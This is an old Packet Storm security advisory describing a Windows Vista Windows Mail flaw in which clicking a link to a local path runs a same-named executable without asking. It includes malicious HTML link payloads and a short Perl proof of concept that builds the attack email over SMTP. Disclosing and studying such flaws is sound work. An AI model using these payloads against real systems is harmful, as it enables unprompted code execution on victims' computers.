Type packetstorm
Reporter Kingcope
Modified 2007-03-24T00:00:00


Microsoft Windows Vista - Windows Mail Client Side Code Execution Vulnerability  
Successfully Tested on Windows Vista Ultimate  
Greetings fly out to Alex,wtfomg,Thierry,Andi and Blackzero  
Windows Mail is the default Mail Client of Microsoft Windows Vista.  
Remote Code Execution is possible if a user clicks on a malicious prepared link.  
Vistas Mail Client will execute any executable file if a folder exists with the same name.  
For example the victim has a folder in C:\ named blah and a batch script named blah.bat  
also in C:\. Now if the victim clicks on a link in the email message with the URL target  
set to C:\blah the batch script is executed without even asking.  
There is for example a CMD script by default in C:\Windows\System32\ named winrm.cmd  
(and also a folder named winrm inside System32).  
Send a HTML email message containing the URL:  
<a href="c:/windows/system32/winrm?">Click here!</a>  
<a href="c:/windows/system32/migwiz?">Click here!</a>  
and winrm.cmd/migwiz.exe gets executed without asking for permission.  
These are just examples.  
I could not pass arguments to winrm (hehe this would be beautiful), but I guess there  
are several attack vectors.  
Proof of Concept  
use Net::SMTP_auth;  
$smtp = Net::SMTP_auth->new('', Debug => 1);  
$smtp->auth('PLAIN', 'username', 'password');  
$msg = "Subject: Vista Remote Code Exec\r\n"  
."From: attacker\\r\n"  
."To: victim\\r\n"  
."MIME-Version: 1.0\r\n"  
."Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a>";  
Kingcope / kingcope[at] / 2007